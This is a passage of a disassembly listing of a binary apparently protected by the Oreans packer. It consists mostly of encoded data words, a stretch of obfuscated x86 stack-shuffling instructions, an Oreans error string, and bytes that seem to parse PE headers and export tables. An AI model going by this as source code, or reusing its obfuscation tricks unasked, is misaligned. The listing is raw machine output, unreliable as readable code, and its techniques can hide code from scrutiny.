0CC191F0Fh, 788FAC74h dd 23D86155h, 0BFC417C6h, 0F5479CC9h, 34880112h, 10C9DB2h dd 0BB6611Bh, 26391FF1h, 0E4908856h, 0BBC06BF7h, 181DD7BDh dd 0C00A67B0h, 0CF0620DAh, 8BB653A3h, 343A2BCDh, 0E288F02Eh dd 331B3Bh, 2B650000h, 338B9048h, 0AB6547EDh, 0A0C6E900h dd 962E5ABBh, 837D3457h, 0A6F921DAh, 172E81A0h, 83FCB5D8h dd 288221DAh, 90878C46h, 7B7DDFE5h, 12h, 90482B11h, 4EED338Bh dd 0BDAA1437h, 0D92C2E5Ah, 0B2B3C5BFh, 0EE0522EEh, 0DA1783AFh dd 0E9EDA789h, 0BAC04157h, 59F5EF77h, 6116692Eh, 28FF377Ah dd 29060AD5h, 0EDBFEF12h, 9F793B06h, 0D9F8FEB6h, 0E7298186h dd 0CFF23148h, 350711E2h, 0E443499Ch, 0A70904C1h, 182F8239h dd 849E583Eh, 3912CCB2h, 0D9879CBBh, 90BDEBD4h, 66000013h dd 0D8AAC47Eh, 4D1F39F1h, 0C496B068h, 370923DBh, 2C819B55h dd 0F2AC8E83h, 682206D8h, 0E1997C4Eh, 550FF5C7h, 4D705B3Bh dd 21D73C64h, 0E20EA81Ah, 29BA9FCFh, 7A91AE72h, 5AAE4357h dd 0FFE33D2Eh, 0BADD4045h, 21DA91F7h, 0D6812C7Fh, 0F102E5BFh dd 0B881A5B9h, 5610F4C0h, 98AF5A51h, 0D9F23C75h, 44EF4221h dd 0A3C7F32Ah, 0C3AA8B49h, 4A2D272Dh, 0FE2A8D92h, 0F9A33A89h dd 7E787E77h, 8D05DE98h, 0AAEE14AEh, 130593C1h, 9F10000h dd 7C63354Fh, 0F3D8AAC4h, 664F213Bh, 0E0C294AEh, 0EB70C26h dd 637D3719h, 0D9F3AD91h, 526C2407h, 0C6E09A80h, 0D9D8FBE6h dd 0A521D73Bh, 4FD19933h, 0E4B6D9F0h, 5A2E5AAEh, 2F16F007h dd 0A48B5D77h, 3E9E7ECh, 0F3ACB1DDh, 12278F9Eh, 0D9F69A17h dd 0DF91E421h, 443B40F8h, 20438299h, 21D9F691h, 47949AEDh dd 7DCF2451h, 7AC4DE96h, 0E744CAE4h, 5911F6D0h, 5A575D54h dd 181DD5BCh, 92E389B5h, 0C2D6550Bh, 23579BCh, 0B61121DAh dd 373DF5DCh, 341B6DC2h, 0DD0BA123h, 0B8632150h, 1A75A1h dd 67393034h, 89C8FF61h, 0DA624B66h, 0DAE03321h, 3C41F9E0h dd 2DB9ADD9h, 61022671h, 1A19075Bh, 10A1C403h, 6621DA52h dd 8BAE0D13h, 2679AA64h, 98523892h, 0F7B19593h, 0FFB79A4Ch dd 24FE3D54h, 887F843Eh, 0B78A248Dh, 1075A29h, 28E2C8A2h dd 0B16DE511h, 0A9CC8115h, 696D382Ah, 4A4EB2C5h, 89B7DA85h dd 0B6181EE2h, 941D407Fh, 0EA29B70Eh, 30F39397h, 0C78D400Bh dd 0CEE1C7C1h, 0A5D21B58h, 7075209Fh, 3E240818h, 37E29A7Dh dd 3A52758Ch, 302E5618h, 3ECC6DDh, 0F8A35B44h, 0A1A75F46h dd 0C8826842h, 35F6DCAEh, 918F944Ch, 0F8EFF4ACh, 459DA24Dh dd 6B455CDBh, 67C6CC84h, 76DDFC28h, 551B46F3h, 0DA147F32h dd 0F9A4F721h, 0F7C2B0F3h, 0E93C2679h, 348FAE10h, 0A8D6BFE6h dd 1183h, 0B7D18B73h, 2C46FEE5h, 0A3BD755Ah, 1630E8D1h dd 8EA86244h, 0B99B9039h, 2F13E5FFh, 0A6895B75h, 1C02D4EEh dd 7D684862h, 0D73A575Ah, 13AD1F21h, 4D6487C6h, 2929BAA1h dd 2D8DD0D6h, 8829BAA1h, 0A7D3EDA5h, 80A3BA79h, 2E59F8F4h dd 89284B0Ah, 0F521D748h, 489E1336h, 85D821D7h, 873F28DAh dd 6EBC5DCh, 0C63A344Eh, 494F07ECh, 0B4DE0743h, 977B5554h dd 6153D7DDh, 9D000001h, 10EA49D1h, 0A10BA3C6h, 0A57829BAh dd 0BAA12F82h, 0C29B4729h, 5EB4EC6Dh, 768D38E3h, 7D9D1437h dd 86D929BAh, 0E447FA82h, 0C9CFABC8h, 0B0C4C6A7h, 4BD1DA48h dd 163912ECh, 0D65AE4EAh, 0BAC00ADDh, 0EE4DD198h, 6ECC614h dd 8F46BFF3h, 0BD6843E7h, 1FF4BAB7h, 5734DEF3h, 371Ch dd 6D4F2900h, 0D18BADB3h, 0C612EC4Bh, 0BAA10BA3h, 401A6D29h dd 0ECC6C4C6h, 4B454B03h, 0E8D4AE66h, 0EFA98B65h, 0CBEDF3EAh dd 48FBh, 0F2155400h, 29BAA0BFh, 3C5E64B7h, 12EC4BD1h dd 254887C6h, 29BAA08Ch, 56999FF2h, 29BAA158h, 651D04DEh dd 0AE44B5Fh, 0ECC6C4C6h, 504A500Ah, 0CC6AC6Bh, 8B651007h dd 4D6487C6h, 2929BAA1h, 853D24D6h, 46838980h, 0DEF31F00h dd 501C5734h, 66000000h, 4D6487C6h, 2929BAA1h, 967CD0D6h dd 87C6BF99h, 0E32ABB5Bh, 1F42C329h, 29BA0492h, 0E8EE99ECh dd 0BA0509A5h, 33156F29h, 0D27D7479h, 58597CBBh, 4329BA05h dd 79CCA35Dh, 0C4C65173h, 0B28C442Bh, 0A78B65E8h, 0EBF1E8EDh dd 26FBC9h, 0D1910000h, 0C614EE4Dh, 0BAA10BA3h, 0ADB87829h dd 901F9BE7h, 0C603DD88h, 8C442BC4h, 179AC6B2h, 0B6B14937h dd 89CF0C12h, 4E08ECC6h, 0FE911E48h, 9D77FFFFh, 0D9FB01BBh dd 4D6487C6h, 2929BAA1h, 947CD0D6h, 0EAEFA790h, 4A1E209Ah dd 0EF9AAB2Fh, 0C50A2D44h, 352E5927h, 913CF4DBh, 0F9BAA07Ah dd 94AE5913h, 657CB968h, 0D7186F42h, 0C6AD0721h, 724C630Eh dd 83D0D690h, 0D717773Ch, 865C621h, 0D76F74B2h, 3B9F53h dd 0E2E90000h, 29BAA0CBh, 1930EAD0h, 9DA25A3Fh, 0FF04BC9Fh dd 0C9AB5D08h, 0D130A0Fh, 0A11E90ABh, 0EC1829BAh, 0E8FE1730h dd 0C1151BC5h dd 0A6C9E05Fh, 2E5A85ACh, 0A3A5BF12h, 0DEh, 0E94FD139h dd 4C434800h, 33678AA1h, 0CD2E5A88h, 525711F3h, 0DC36555Bh dd 79903BF3h, 0BE7D603Ah, 5E7520DAh, 0DA77763Bh, 0A7AD0021h dd 0FB12CAADh, 7E843C21h, 0AF674A1Ch, 18CE52AAh, 1FA39E65h dd 0E6FDA83Ch, 790434C3h, 0E8FF5226h, 0EB8F75BCh, 0C4CAA4BDh dd 0F0A88B65h, 3A779AD9h, 4429B774h, 5289EBF1h, 4E1C1426h dd 15F9CC9Dh, 0B45F565Bh, 19D1B4AEh, 0F4D7B114h, 90954F35h dd 0EBE9EE99h, 9DA34E06h, 5168C749h, 56C6642Eh, 7087DA2Eh dd 0DCF6B096h, 0DBFE240Ah, 21DA22D6h, 5128E0C5h, 1E7A53FEh dd 33EE1465h, 0E6D1C4Ah, 0A1890000h, 14FBCDE7h, 8B70425Ch dd 0FEE7B9D3h, 785A2C46h, 664FA4BEh, 0FB15CFB1h, 718B4529h dd 0EA04BC9Fh, 5E783218h, 4170937Eh, 3D21D737h, 452B31CBh dd 8B48748Bh, 79331735h, 52145D75h, 0B9C4822Fh, 0FEA9FC29h dd 0C7ADABF8h, 57A0080Dh, 10CAB0FAh, 3AEA18F6h, 47055434h dd 4F000000h, 4D6487C6h, 2929BAA1h, 947CD0D6h, 515D8097h dd 0E72E5A8Eh, 6A6F290Dh, 78395C73h, 0FE21DA71h, 3386A5ABh dd 904A302Eh, 4BEA476h, 0B379A7FFh, 1A1116CEh, 9B7E586Fh dd 0E1E7DEE3h, 593B5F82h, 0C215267Ah, 442BAEA8h, 0B9A0728Ch dd 3B5FC01h, 3929BAA1h, 84C8380Dh, 83DFE39Bh, 140E1440h dd 0D28C7231h, 0DFD2D6CDh, 19C771EFh, 4F7B9540h, 1F4B62C1h dd 4D70866Bh, 29B9D664h, 0F6C3C71Ah, 4CABB129h, 59163829h dd 546BBE2Eh, 0C6DD957Ah, 4698149Ah, 593F4B43h, 8CEEF49Fh dd 6487C692h, 29BAA14Dh, 2EE6CF29h, 4B777D83h, 6454B4DEh dd 141h, 0EA49D1AEh, 0AD87C610h, 0C80B11CBh, 29BAA0E6h dd 0CF907650h, 362D32EAh, 0A71858Bh, 2C9AC630h, 54B43ED6h dd 9092F1F7h, 0D1DA48B0h, 3912EC4Bh, 0EE4DD153h, 8ECC614h dd 0AB6547h, 1FE04FBh, 8ECC63Bh, 9D14374Eh, 0D929BAA0h dd 5C7A8086h, 775734DEh, 33h, 0AECC6C1h, 376A0FF7h, 7A256162h dd 24787E75h, 0C6613BF8h, 0FD4BD39Ah, 0DEE4A753h, 63525C7Fh dd 0D12429BAh, 2BC4C6F7h, 0E8B48E46h, 43FBA2h, 0D1910000h dd 45FFE54Bh, 879E4940h, 0D12CAADh, 0D5DCFF16h, 0A129BAA0h dd 0C626484Eh, 0BAA10BA3h, 37117829h, 4D6487C6h, 2929BAA1h dd 864024D6h, 2B1F2180h, 0C6B48E46h, 44F809ECh, 0D5E18298h dd 46838934h, 6487C600h, 29BAA14Dh, 0CAD0D629h, 5734DE8Ch dd 278AADECh, 4F26BAA1h, 2D72F6FCh, 0BC000000h, 14EE4DD1h dd 0C8AD87C6h, 0E7C70A10h, 9129BAA0h, 969B5537h, 0C61AF49Fh dd 8C442BC4h, 0FBA2E8B2h, 2Bh, 0DB937A54h, 0B7D9DFD6h dd 14EE4DD1h, 0C8AD87C6h, 0E140B10h, 0BAA0E3CBh, 2239A029h dd 0A5AA6448h, 0C686A8AEh, 8C442BC4h, 0FBA2E8B2h, 0FFFFFEA9h dd 0F04FD191h, 0F919B6D9h, 0F5A12E59h, 0E3A186A9h, 0B2C974E1h dd 2138F2D8h, 66F2BFE2h, 0C8B121D7h, 3D140B10h, 4B82E4EAh dd 0CBD08871h, 179ABDD4h, 5F21D767h, 6FB2060Ch, 0F7DDB7CEh dd 0B5D8373Dh, 21D766FCh, 11A0C382h, 4021D767h, 48A3DDB5h dd 0A5F8CFEBh, 5AEF5FAh, 4421D776h, 98D78EE3h, 0D7763C75h dd 3DEF4221h, 92989E56h, 53D7CD54h, 107Fh, 0CBE2C900h dd 0D029BAA0h, 141630EAh, 0C4h, 0F04FD1AAh, 3A779AD9h dd 4429BAA1h, 698CEBF1h, 2E5AB529h, 17D1B50Fh, 59701B12h dd 8CBAF71Ah, 71C421DAh, 4F320C6Bh, 0C8AB7D97h, 6DB30B10h dd 268BB7CEh, 94825845h, 7DA0FF05h, 26791D7Eh, 502A4194h dd 4BAAB06Ah, 0BCD68E71h, 4A4F07EAh, 2C85A8E7h, 5229B71Dh dd 1D417093h, 0EA3D29B7h, 3BE5393Fh, 0AF5A12F5h, 9C7F5998h dd 0E2E8DFE4h, 566EF39Fh, 0E3FA4D2Eh, 64AD78A4h, 21A759Bh dd 621C02FCh, 0D6907648h, 13F8A7FDh, 0A9D7C0EEh, 0B03h dd 37510BF3h, 0ACC67E65h, 233DF5DAh, 96B06851h, 0E28E2C4h dd 391B10B9h, 0AF93657Fh, 2609DBF5h, 9C82546Eh, 0FDE8C8E2h dd 0D733D7DAh, 932D9F21h, 4D6487C6h, 2929BAA1h, 31E6197Dh dd 0B25D1E3Ah, 12CCB2ACh, 7E3F21FBh, 3238E39Bh, 4701E7E5h dd 3C91DA42h, 334A04EAh, 0B6BB7559h, 171CD6B8h, 0D6F7520h dd 3D7497D6h, 3929BA53h, 5ACCFE6h, 7129BA53h, 0D412181Eh dd 0FF5434A8h, 38h, 8ECC649h, 2CF4484Eh, 5DD5F80Fh, 232E5A91h dd 0E7CDCBD0h, 5B41132Dh, 0DC449CA1h, 6D25485Fh, 93267A84h dd 99FD8267h, 0BA5E3B76h, 0ECF04329h, 0C4CADEBFh, 3E3852A5h dd 3F6F9AC6h, 0E3545081h, 8508A9CCh, 1B6E29BAh, 7C341B15h dd 85734762h, 4F3229BAh, 0CF517D97h, 36365970h, 6C2E59DCh dd 5CA70A2Dh, 75CF21D7h, 2329D48Ch, 0C09AB104h, 7E381CDBh dd 1FBFB9D3h, 54B4DEE3h, 50745731h, 3AA0842Dh, 0FCA7FA29h dd 5C14F9F7h, 8B27ABB1h, 71000001h, 0D3EA49D1h, 44210AA7h dd 44F6D4A3h, 7C9EA45Eh, 254887C6h, 29BAA08Ch, 56999FF2h dd 29BAA158h, 0D1ABC229h, 342B30E8h, 0DCE19982h, 0C6BDDFE5h dd 0DA48B0C4h, 12EC4BD1h, 533C1639h, 0C673959Bh, 464C06ECh dd 22082CF2h, 28E3BD68h, 0DEF31F62h, 5E1C5734h, 66000000h dd 0D0529AC6h, 4CC5DD7Ch, 62AF246h, 6C636822h, 0A3C6E7C1h dd 29BAA10Bh, 0B26A532Dh, 91B0B6ADh, 446B0AE5h, 11BCD3EDh dd 2BC4C637h, 38778E46h, 0BABF775Eh, 0A0E9C8C3h, 429529BAh dd 0EDF3AB90h, 0C6A2E8CBh, 0A14D6487h, 0D62929BAh, 40A6D0h dd 0C0FF0000h, 0BAA1149Dh, 11176A29h, 0EC4BD1EFh, 7478A9D5h dd 5C0559C2h, 87C63456h, 90FC9ADh, 0BAA0E8C6h, 58329929h dd 462BC4C6h, 87C6B48Eh, 0A08C2548h, 9FF229BAh, 0BAA10DA4h dd 10166929h, 0F31F8DD3h, 1C5734DEh, 45h, 0EE4DD166h, 0BA3C614h dd 6D29BAA1h, 0C4C6401Ah, 758C442Bh, 0FAFFB99Bh, 0E8DBFD03h dd 0EBA58B65h, 958096E6h, 1D747AAAh, 79385B72h, 529B9A5h dd 0C68AACB2h, 305C1E9Ah, 0F6DD01BDh, 638D933Eh, 42h, 824DD1F9h dd 0BAA1525Fh, 2ED92C29h, 0BA3C654h, 7829BAA1h, 556C260Ah dd 0BAA07F32h, 0F9A4F729h, 6487C61Fh, 29BAA14Dh, 71D0D629h dd 0B8725832h, 842D50B3h, 0FA29BAA0h, 0D4F6FCA7h, 0B28C442Bh dd 64FBA2E8h, 54FFFFFEh, 0A0BFF215h, 64B729BAh, 4FD13C5Eh dd 19B6D9F0h, 0A12E59F9h, 775D374Eh, 0BBC1B8BDh, 0BBDE1D5Ch dd 21D748F6h, 7CB0C253h, 24FB558Ch, 0EBD1CBD1h, 24EB1731h dd 0E2CFF209h, 9C21D714h, 9CA15942h, 0AEF5FAA5h, 21D71505h dd 308EE344h, 53D76AF2h, 281Dh, 0ECC66700h, 0B99E500Ah dd 0FF05FC01h, 0BAA0F1BCh, 0AC4AA29h, 7C3419F3h, 187A8077h dd 692307E1h, 3D676D64h, 8Ah, 0F04FD1D3h, 0A140B6D9h, 63B62E5Ah dd 0D78F724Ch, 5008EBBDh, 0E2DF34Bh, 0F90BD4F7h, 9F4B2679h dd 0D00435EAh, 0D9D8FB28h, 0A529B71Fh, 0E5FCA752h, 8469280Bh dd 350721CCh, 3D959A52h, 1A3D54D3h, 2E567178h, 0BA94ABFEh dd 2E001AD4h, 65B58E48h, 82EE14B9h, 7996B99h, 755D0000h dd 0E8CFA1BBh, 5F441630h, 0D2BB8DA7h, 4C2E001Ah, 0BA237892h dd 0CFE9A385h, 455F19FDh, 0BED89073h, 324C06ECh, 6D446752h dd 921D730h, 452BFD97h, 3AE59D84h, 13F8D235h, 755B555Bh dd 54EB6BBh, 0BE785EA8h, 0D8EBCDA7h, 229FE791h, 40AB5EEh dd 0D886C4A2h, 47B15434h, 0FB000000h, 58844FD1h, 0FBA78FE9h dd 20918CCDh, 5629BA93h dd 1E415803h, 2E5A9538h, 0EF363B8Eh, 21DA95BEh, 83E7F8DDh dd 736CAB75h, 6D6B701Bh, 58CBD088h, 7383CE23h, 235FBD12h dd 7153D454h, 0F4FAB297h, 3F70h, 4FD1BA00h, 88B6D9F0h dd 0E2E5AB9h, 9678A4BBh, 0C46DB061h, 0E3E12E34h, 572943FDh dd 12CCB071h, 0DCFF160Dh, 21DA74D5h, 9EA34EA1h, 465DDA46h dd 7A74D323h, 0CBE23526h, 50550FF1h, 0F7F15359h, 26EAB6B3h dd 74B3F209h, 0BAA16051h, 0BDC31629h, 5AA5EC7Ah, 58FE2A2Eh dd 0B7472F1h, 4FB10023h, 7ACD21DAh, 0FEAAC9CFh, 0C9B9B28Fh dd 6A1FCA86h, 0EC759183h, 0D16EB2E1h, 521797BAh, 472166C4h dd 0B0A7AC64h, 33388BAAh, 0DFF635DBh, 0E48509BCh, 233A8D6Dh dd 92A96349h, 76813053h, 0AAFD6224h, 535812F8h, 22F4565Ch dd 0EFA9823Ch, 80ADCA10h, 6416997h, 0CDB50000h, 4027F913h dd 0B79C6E88h, 2A13E5FFh, 0A4865872h, 527BD0EAh, 2741FBDDh dd 9DB77155h, 1630E8CBh, 8AA45E44h, 159CBFAAh, 6121D72Fh dd 452B55EFh, 0A388868Bh, 7BA5D1EBh, 0E5CBA5BCh, 2B2F262Bh dd 55CA2774h, 0DB3A4018h, 773A5D9Ch, 0FF29B9D0h, 1E1F6053h dd 913CFAC9h, 7A97488Bh, 609F2E59h, 0D77A743Dh, 0B1B70A21h dd 0D73A3F92h, 5C621AFDh, 0ECC57D62h, 0EE170E38h, 0C0B6E4CDh dd 36000005h, 0A87A944Eh, 1DEF09C1h, 94668038h, 7D9F3ABh dd 0FC516B25h, 0C27C5ED3h, 38F2D6A8h, 0B1694C1Eh, 25DFC597h dd 1D402B0Bh, 21D72D94h, 0C6DE78EAh, 17BE009Ah, 0BA6DBDF4h dd 6266B929h, 0D4F73E50h, 29BA29DDh, 959B4699h, 0F307DF41h dd 8CB7DB99h, 607E5FE7h, 0D0C6BE5Ch, 354C1032h, 4EF9A425h dd 0E3E71437h, 0CC1F2E59h, 2CE4C9C7h, 1734A553h, 27553EEEh dd 547h, 0F30DC7AFh, 68823A21h, 0DFF9B196h, 526C240Dh dd 0CAE49E80h, 0F5D74C75h, 6B4F213Bh, 0E2C597B1h, 583E102Ah dd 0B9A4849Eh, 0D72E1B96h, 57F16321h, 0D9F04FD1h, 59F941B6h dd 0BD9F792Eh, 3106FF03h, 5C113530h, 0DFE43756h, 6B44FCE1h dd 0EE17CEC3h, 0F0497760h, 6000004h, 784A641Eh, 0EDBFD991h dd 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h, 8C2A678h dd 81391CEEh, 0F5AF9567h, 0ED10FBDBh, 21D72DC4h, 2BAE48BAh dd 88868B45h, 70E3E8A2h, 0AE94E63Bh, 0DFB1DDF4h, 0AAC26FBCh dd 0B6ED4F55h, 6EAD7C8Ah, 0BCC2635Fh, 1D22DCC2h, 0BA91D8D6h dd 0A6FB6C29h, 9AB46E54h, 2328E2C8h, 6E853F25h, 91A50C2Fh dd 10F629BAh, 835A5156h, 9CC82A30h, 61A0B774h, 5CA5D235h dd 0D9BC2634h, 7A251C21h, 85454B76h, 898FB00Ch, 5A9FB846h dd 1C3F7E2Eh, 21DA9295h, 69888EE1h, 0E3CA1116h, 5A21DA92h dd 9051350Fh, 444AF5ADh, 0E9C372CFh, 41474D07h, 53D4E805h dd 2D2Eh, 4FD17800h, 3CB6D9F0h, 0C22E5AA0h, 0C7CC8668h dd 7E29E3C9h, 2687CED3h, 1721DAA0h, 0C70359B6h, 1553D4EBh dd 999F593Bh, 0C915h, 87C65F00h, 0BAA14D64h, 0D0D62929h dd 3136F0D6h, 92975133h, 0DDF4AE94h, 5D621A03h, 0A0DAD7FAh dd 51A429BAh, 5553A0A6h, 809BB56Fh, 29BAA4F0h, 718B452Bh dd 0FAFFB99Fh, 0AAC17EA2h, 9D69486Bh, 691529BAh, 1E773847h dd 0D0D6813Dh, 4FD84E71h, 3B8E2E5Ah, 0C2BF521h, 346BC9F5h dd 0DB0A4C13h, 0B88E8ED7h, 0F156A72h, 0AE9771B0h, 0A9540CEFh dd 149660A3h, 9DF02678h, 9CAAC86h, 6F666B25h, 0F6D8AAC4h dd 9CD1633Ch, 7962E636h, 3724Bh, 0E29C8400h, 570FF6C8h dd 0CE866B3Dh, 41F9E2B4h, 0B9735527h, 0AC614A9Fh, 24F610CAh dd 9A6C8640h, 13E5FFB7h, 7959732Dh, 2C466B8Eh, 0BE3021D7h dd 8F492B24h, 3BDA375h, 0ECC6EFE9h, 0F5494F07h, 0B6F50C2Bh dd 0FDB79D77h, 0AB0601F8h, 0D329BAA0h, 0BB377A80h, 452E5A9Fh dd 7A6EDF2h, 9421DAA0h, 5109EEADh, 0C1A3A1A6h, 1F040207h dd 8B6B6267h, 1A2A75CAh, 0D80664B9h, 0F353D4EBh, 0B4h dd 8B452B3Dh, 0ECA68886h, 0A4D0A0E7h, 654B29BAh, 0D9BF91ABh dd 78B71A1Fh, 9C9B1639h, 90E329BAh, 0BA9D1C95h, 90F6229h dd 0B5CC6BB5h, 9D143776h, 0D929BA9Ch, 654C6F86h, 1129BA9Dh dd 0B175B8BEh, 0A72E5A7Eh, 7E633D54h, 7520D8BFh, 11737970h dd 0E5FC3BE5h, 77F095C2h, 8BA2F526h, 0D78F724Ch, 0DBD5DBD2h dd 53253FF9h, 52DEB771h, 0E7E63685h, 27DD0FEh, 91790000h dd 4EBBDD7h, 7B60324Ch, 0EED7A9C3h, 684A1C36h, 963F94AEh dd 0EB05BFA1h, 617B3519h, 0DAF4AC8Fh, 4E682208h, 5160836Eh dd 2D21D72Bh, 492B21BBh, 0BDA3758Fh, 2B12EC03h, 110B6D73h dd 0FC1F452Bh, 29BAA0B5h, 0ACC36EC1h, 3035EDD2h, 83E63339h dd 0EB451844h, 93851483h, 0B9C61998h, 0EEA88A29h, 0C81BF2E9h dd 28E2C8C2h, 42ECE511h, 7C7BE996h, 38E81476h, 95C1E4FBh dd 0F32E59B1h, 18362E47h, 15F97669h, 5B05Bh, 0D9D9F4B9h dd 8BE84921h, 0D4210935h, 202253h, 0D16C0000h, 0B6D9F04Fh dd 2E5ABA9Ch, 83CACF22h, 21DA872Ah, 0FF5DB213h, 53D4F0C3h dd 18ECh, 0CCE23600h, 7529BAA0h, 52758CABh, 2E5A8790h dd 0D1896CC6h, 102AD5CCh, 0F04FD116h, 5E16FFD9h, 0FD5C6259h dd 5AB724DAh, 5073322Eh, 21DA8B61h, 1A1FCA1Dh, 0DA8ADAD3h dd 20D8C121h, 80381D1Bh, 0DE967D7Bh, 4102E2D9h, 3091A1ECh dd 0F0417DD3h, 2F6A53D4h, 77000000h, 0F8FEB69Dh, 0A0CBE2D6h dd 0AA7629BAh, 0B9657734h, 0D0B53EFBh, 0D9BB6D18h, 78231A1Fh dd 80A43E61h, 0C09A2E5Ah, 7E381CDBh, 5BAECDD3h, 4FD14741h dd 39B6D9F0h, 0C12E59F9h, 977D576Eh, 8B36F0D6h, 7A603A71h dd 0DAC0BAC0h, 5DC31B20h, 0E8A4C7DEh, 1E2676A0h, 0A0F5BCDFh dd 2E8129BAh, 0CCAF0928h, 78526914h, 0E7C1D892h, 50474C04h dd 3016E84Ah, 0F7197176h, 0A108A9CCh, 146E29BAh, 19CB7630h dd 82797E36h, 5581C0D7h, 0A294DBFAh, 0BA6C9F4h, 7329BA14h dd 2C6F7520h, 2E59F646h, 0FE845DB0h, 97EE148Eh, 0C180AEh dd 4D350000h, 0C0A77993h, 371CEE08h, 0AA93657Fh, 2406D8F2h dd 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh, 0A24DEC4h dd 951C3F2Ah, 0E121D728h, 4FD1D56Fh, 1AFFD9F0h, 0A0DED3F6h dd 459829BAh, 1235949Ah, 2E59F876h, 5E8AA1F4h, 0EC01E757h dd 0E4313781h, 2F4600E6h, 0AFB56F55h, 0DB957B4Dh, 4C4773D6h dd 384FFAEBh, 4D71B4BAh, 7B204845h, 0B99FE946h, 7DA9E8FFh dd 0D499ABA1h, 4D645FCCh, 4E234864h, 0B3AAAF67h, 218389DCh dd 0AAAF694Fh, 60BC3ACh, 686D2508h, 0C4C9816Ah, 7CC71C51h dd 0FE48A5D2h, 0D445E18h, 9684F4E1h, 5C60DBFDh, 37B49C8Ah dd 524C529Dh, 7FADB26Ch, 3, 2B662415h, 86848943h, 0E3E1E6A0h dd 45434800h, 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh dd 222025DDh, 6D7E833Bh, 81E18951h, 4C1h, 4E98100h, 87000000h dd 895C240Ch, 0B368242Ch, 89000054h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax mov eax, 7E35A7Ah push ebx mov ebx, eax mov esi, ebx pop ebx pop eax push esp mov ebx, [esp] add esp, 4 push esi push ecx mov ecx, 47A10372h xor [esp+4], ecx pop ecx pop dword ptr [ebx+8] xor dword ptr [ebx+8], 47A10372h mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_554887 ; --------------------------------------------------------------------------- dd 89226C6Fh, 0E378F0B8h, 0FFC50307h, 0E1611BE0h, 0A0F75D6Dh dd 8C2F1F1Fh, 8BDBED35h, 6672923Ch, 72FA554Dh, 7AE5FD54h dd 48372763h, 0E5662809h, 0C6E15026h, 6FB29B1Ah, 7F7C5607h dd 0B3790267h, 0D297685Eh, 26D1C67h, 0D6EAE753h, 5969E756h dd 82860866h, 80752462h, 3675500Fh, 0ADEEC760h, 0EE290758h dd 42FC17Eh, 7175A929h, 702EBA13h, 7AEEC900h, 0C1C53137h dd 0EA604C21h, 0C295080Ch, 0D842132Eh, 0DE82Ah, 6A7D0000h dd 0FEDE0264h, 80D584EEh, 0E8BD1810h, 0Ch, 0D0962028h dd 8A96DA68h, 21EB2073h, 0EE9h, 1377B500h, 0CFCF13FAh dd 0AE1265CBh, 598D54D9h, 0C681F85Eh, 6545h, 868CA8Bh dd 66000019h, 5C63E781h, 12E958h, 1B580000h, 268C4EE8h dd 1DC3CC88h, 0AACFC89Eh, 0F6DCEF76h, 0AE91E8Bh, 2A000000h dd 930C5B65h, 4F77914Fh, 85EB81D5h, 0E87DF7DEh, 5, 992BC527h dd 0DAF68096h, 6BEB8159h, 0E91C85C3h, 0Bh, 0F7928774h dd 3301AB67h, 8143D388h, 75CC6EBh, 0E4F18019h, 0DE81E89h dd 11000000h, 45622B78h, 0F49D46F6h, 3DA8FE7h, 6E9h, 0FF65C00h dd 5F4F0E42h, 5104EE83h, 0EE8h, 335B6200h, 22ECE5CAh, 0D6518709h dd 66F3497Fh, 5959C88Bh, 0F01E883h, 3185h, 5E800h, 63660000h dd 56C4405Ah, 0AE9h, 0D8865200h, 9F5D9B2Dh, 5A48B13Ah dd 21E95Ah, 205C0000h, 3CA15C3Ah, 88EB7922h, 92E96E9Bh dd 0EA8A60D9h, 0FFFF3FE9h, 3B8743FFh, 23921B2Ah, 0E94608C9h dd 83h, 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h dd 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h, 785B8B00h, 1C245C03h dd 324738Bh, 561C2474h, 8B207B8Bh, 7C031C73h, 74032024h dd 83FC2024h, 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h dd 0C084028Ah, 33A0874h, 4243E875h, 33AF2EBh, 0D15FE075h dd 4B70FE1h, 86048B0Fh, 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h dd 8BFFFFFFh, 400E9CAh, 0 db 0 align 2 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 4 dd 60h dup(0) db 0 byte_58454D db 3 dup(0) ; DATA XREF: ___:00444750o dd 82h dup(0) dd offset dword_55FFD8+28h dd offset dword_44622C+9DD4h dd 0 dd 0B9E90000h, 6A000010h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0AE79C350h, 5C2BF2B6h dd 8589F4E0h, 7E01BB9h, 1B71858Bh, 8D2907E0h, 7E017BDh dd 4244439h, 9C850Fh, 0EE90000h, 0D2000000h, 7795630h dd 0B5189893h, 33143080h, 0D8529ADh, 8307E016h, 0E00569BDh dd 840F0007h, 76h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0E9C35747h, 0C1B5010Bh, 8D07E008h, 0E039F885h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 918D89BAh, 0FF07E021h, 51006AE0h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 7C70A72Eh, 7D3108CAh, 31019D29h, 858B07E0h, 7E03085h dd 244439F8h, 37850F04h, 60000000h, 3D7BF0Fh, 0E0208D9Dh dd 85C76107h, 7E37FB6h, 1, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 50C35242h, 1B758531h, 6A6007E0h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 235AC351h, 29243111h, 0E0016195h, 2AE907h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0CB45A9C3h, 9D897A5Bh, 7E025CDh, 0 dd 1B8h, 34858700h, 0B07E381h, 0FFF675C0h, 0E00759B5h dd 0AE858F07h, 6A07E37Fh, 0FFFF6A20h, 0E007E195h, 99BD8307h dd 7E006h, 6A0874h, 